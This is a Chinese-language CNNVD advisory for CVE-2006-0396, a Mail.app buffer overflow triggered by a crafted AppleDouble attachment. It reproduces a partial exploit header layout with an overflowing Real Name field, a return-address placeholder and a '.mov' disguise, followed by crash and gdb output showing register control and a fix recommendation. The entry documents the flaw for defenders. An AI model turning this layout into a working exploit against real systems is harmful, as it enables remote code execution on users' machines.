CVE:CVE-2006-0396
CNNVD:CNNVD-200603-268
Apple Mac OS X是苹果家族电脑所使用的操作系统。
Apple Mac OS X的2006-001安全更新存在缓冲区溢出漏洞，攻击者可能利用此漏洞在机器上执行任意指令。
在安装Apple的2006-001安全更新后，Mail.app中存在缓冲区溢出漏洞。攻击者可以发送包含有AppleDouble头信息的特制MIME封装Macintosh文件来触发这个漏洞。例如：
"\x00\x05\x16\x07". # AppleDouble Magic Number
"\x00\x02\x00\x00". # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler
"\x00\x03\x00\x00". # Number of entries (3)
"\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork'"\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00". # Length of Resource fork is 0x053a
"\x00\x00\x00\x00". # <null> filler
"\x00\x00\x00\x00". # <null> filler
"A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above.
...
如果Mail.app收件箱中收到了有上述首部的消息的话，用户就只能看到Real Name项所提供的名称的前11个字符，在这个例子中是"AAAAAAAAAAA...mov"。其他例子还可能包括"SuperTastey...mov"或"NakedChicks...mov"等。
如果双击了附件文件，就会导致以下dump：
Date/Time: 2006-03-04 10:35:32.472 -0500
OS Version: 10.4.5 (Build 8H14)
Report Version: 4
Command: Mail
Path: /Applications/Mail.app/Contents/MacOS/Mail
Parent: WindowServer [64]
Version: 2.0.7 (746.2)
Build Version: 1
Project Name: MailViewer
Source Version: 7460200
PID: 271
Thread: 0
Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140
在gdb可以看到有几处溢出：
(gdb) bt
#0 0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
#1 0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
warning: Previous frame identical to this frame (corrupt stack?)
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313139
这样就控制了r0、pc、lr和一半的r31。
(gdb) i r $r0 $pc $lr $r31
r0 0x41424344 1094861636
pc 0x41424344 1094861636
lr 0x41424344 1094861636
r31 0x18b3030 25899056
成功利用这个漏洞的攻击者可以远程执行任意指令。
solution:Upgrade apple mac_os_x to a higher version than 10.4,10.4.1,10.4.2,10.4.3,10.4.4,10.4.5,and avoid the version 10.4,10.4.1,10.4.2,10.4.3,10.4.4,10.4.5; Upgrade apple mac_os_x_server to a higher version than 10.4,10.4.1,10.4.2,10.4.3,10.4.4,10.4.5,and avoid the version 10.4,10.4.1,10.4.2,10.4.3,10.4.4,10.4.5